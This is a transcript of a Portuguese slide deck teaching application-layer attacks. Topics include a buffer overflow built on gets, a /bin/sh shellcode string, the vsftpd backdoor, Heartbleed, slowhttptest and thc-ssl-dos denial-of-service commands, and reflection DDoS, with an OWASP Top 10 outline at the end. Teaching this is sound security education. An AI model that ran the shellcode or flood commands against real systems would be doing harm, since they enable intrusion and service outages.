Ataques de Camada 7

Post on 24-Jul-2015

166 views 3 download

Transcript of Ataques de Camada 7

Ataques, vulnerabilidades e ferramentas em Aplicações

Vitalino Victor Vargas Borges

Assuntos abordados:●Software Exploitation

●Mobile Hacking

●Web Vulnerabilities

● DoS Attacks Layer 7

"Nós não precisaríamos gastar tanto tempo, dinheiro e esforço em segurança de redes se não tivéssemos uma segurança em software tão ruim." - Bruce Schneier

Software Exploitation

Programa vulnerável

Programa vulnerável

Buffer Overflow

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Endereçamento de memória0x00000000

0xFFFFFFFF

.

.

.

0x00000000

0xFFFFFFFF

.

.

.

0xC0000000...

Endereçamento de memória

0xBFFFFFFF

KERNEL SPACE (1GB)

USER SPACE (3GB)

0x00000000

0xFFFFFFFF

.

.

.

0xC0000000...

Segmentos de memória

0xBFFFFFFF

KERNEL SPACE (1GB)

texto (código)

dados

bss

heap

stack

Segmento de código

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4instrução 5instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320instrução 6instrução 7instrução 8

.

.

.

0xbffff5840xbffff5...

0x80483150x41565959

Stack

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4gets 0xbffff570instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320

.

.

.

0xbffff584...0xbffff570

0x8048315

V V V V V

0x80483560x80456560x565656560x8565656Overflow????????0x56565656

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4gets 0xbffff570instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320

.

.

.

0xbffff584...0xbffff570

0x8048315

V V V V V

0x80483440x80484440x80484440x8048444Exploitation

0x80484440x80484450x80484460x8048447

(Outra função presente na área de código do programa)

instrução 1instrução 2instrução 3instrução 4

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4gets 0xbffff500instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320

.

.

.

0xbffff584

.

.

.

0xbffff500

0x8048315

0x90 0x90 0x90 0x90

Execução de código arbitrário0xbffff502

execl /bin/sh

0x00000000

.

.

.

Segmentos de memória

0xBFFFFFFF

texto (código)

dados

bss

heap

stack

65 64 6f 63 6c 6c 65 68 53

“Em segurança da informação, um shellcode é um pequeno pedaço de código usado como payload na exploração de uma vulnerabilidade de software.“ - Wikipédia

Shellcode

“Em segurança da informação, um shellcode é um pequeno pedaço de código usado como payload na exploração de uma vulnerabilidade de software.“ - Wikipédia

Shellcode "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"

Shellcode108 Bytes

NOPs Shellcode Return addr

Trapdoor

Trapdoor“ Um trapdoor é um ponto de entrada em um sistema de processamento de informações que contorna as medidas normais de segurança. Em geral, é um programa oculto ou um componente eletrônico que faz com que o sistema de proteção seja ineficaz se certas ordens não documentadas são colocados para ele.” - Security Internet

Trapdoor● “Durante o desenvolvimento, é comumdeixar um backdoor para ter acessoirrestrito à execução do programa.”

● “Quando o sistema é lançado, muitasvezes esquecem do backdoor geradono desenvolvimento.”

- Ti Safe

VsFTPd 2.3.4 Backdoor Command Execution

CVE-2011-252

Heartbleed

Heartbeat

Heartbeat

Heartbeat

Heartbleed

Heartbleed

“- Servidor, você ainda está aí?”“- Se sim, responda 'POTATO' (6 letras)”

Heartbleed

Heartbleed

“- Servidor, você ainda está aí?”“- Se sim, responda 'BIRD' (4 letras)”

Heartbleed

Heartbleed

“- Servidor, você ainda está aí?”“- Se sim, responda 'HAT' (500 letras)”

Heartbleed

Heartbleed

Demonstração OpenSSL 1.0.1e

Heartbleed

Demonstração servidores reais!

DoS Attacks Layer 7

Modelo OSI

Ataques DoS

● Loop● Ataque de desautenticação (Wireless 802.11)

● ICMP Flood (Ping of Death, Smurf)● ARP Flood, ARP Poisoning● Teardrop

● TCP Flood (SYN, 3WayHandshake)● UDP Flood

HTTP DoS

Métodos HTTP

●GET●POST●HEAD●OPTIONS●CONNECT●DELETE●TRACE●PUT

Métodos HTTP

●GET●POST●HEAD●OPTIONS●CONNECT●DELETE●TRACE●PUT

Método GET

Método POST

HTTP Method POST Flood

HTTP Method POST Flood

./slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -u http://192.168.1.34/ocomon_2.0-RC6/includes/common/login.php -x 10 -p 3

Apache Range Header AttackCVE-2011-3192

Codinome: ApacheKill

● “Requisita paralelamente pequenos pedaços do conteúdo de forma comprimida (gzip)”

● “Força o webserver a realizar diversas operações de compressão paralelas e simultâneas alto =processamento.”

- SEIDL, Jan

Apache Range Header AttackCVE-2011-3192

Codinome: ApacheKill

Apache Range Header AttackCVE-2011-3192

Codinome: ApacheKill

HTTP Slow Attack

●Possui variações●Slow Headers: Campos de um único cabeçalho HTTP enviados lentamente.

●Slow Post: (já explicado)●Slow Read: realiza comunicações HTTP legítimas, mas manipulando os cabeçalhos TCP deixando-os com tamanho de janela 0

HTTP Slow Attack

GET /ocomon_2.0-RC6/index.php HTTP/1.1Host: 192.168.1.34...

User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/30.0Accept: text/html,application/xhtml+xml,application/xml;...

Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate

SSL DoS

T.L.STransport Layer Security

S.S.LSecure Socket Layer

SSL Handshake Attack

“Estabelecer uma conexão segura SSL requer 15x mais processamento do servidor do que no cliente.” - THC SSL DoS

SSL Handshake Attack

thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done }

for x in `seq 1 100`; do thc-ssl-dosit & done

SSL Handshake Attack

rDDoS

Exemplos de protocolos

● SNMP● DNS● NTP...

DNS rDDoS attack

DNS rDDoS attack

DNS rDDoS attack

Web Vulnerabilities

OWASP “A Open Web Application Security Project (OWASP) é uma entidade sem fins lucrativos e de reconhecimento internacional, que contribui para a melhoria da segurança de softwares aplicativos reunindo informações importantes que permitem avaliar riscos de segurança e combater formas de ataques através da internet.“ - Rede Segura

OWASP - Top 10 “O trabalho mais conhecido da OWASP é sua lista “The Top 10 Most Critical Web Application Security Risks”, que reúne os riscos de ataque mais críticos exploráveis a partir de vulnerabilidades nas aplicações web.“ - Rede Segura

A1: Injection Flaws

ProFtpd - FTP server

A2-Broken Authentication and Session Management

A3-Cross-Site Scripting (XSS)

A4-Insecure Direct Object References

A5-Security Misconfiguration

A6-Sensitive Data Exposure

A7-Missing Function Level Access Control

A8-Cross-Site Request Forgery (CSRF)

A9-Using Components with Known Vulnerabilities

A10-Unvalidated Redirects and Forwards

Mobile Hacking

Fim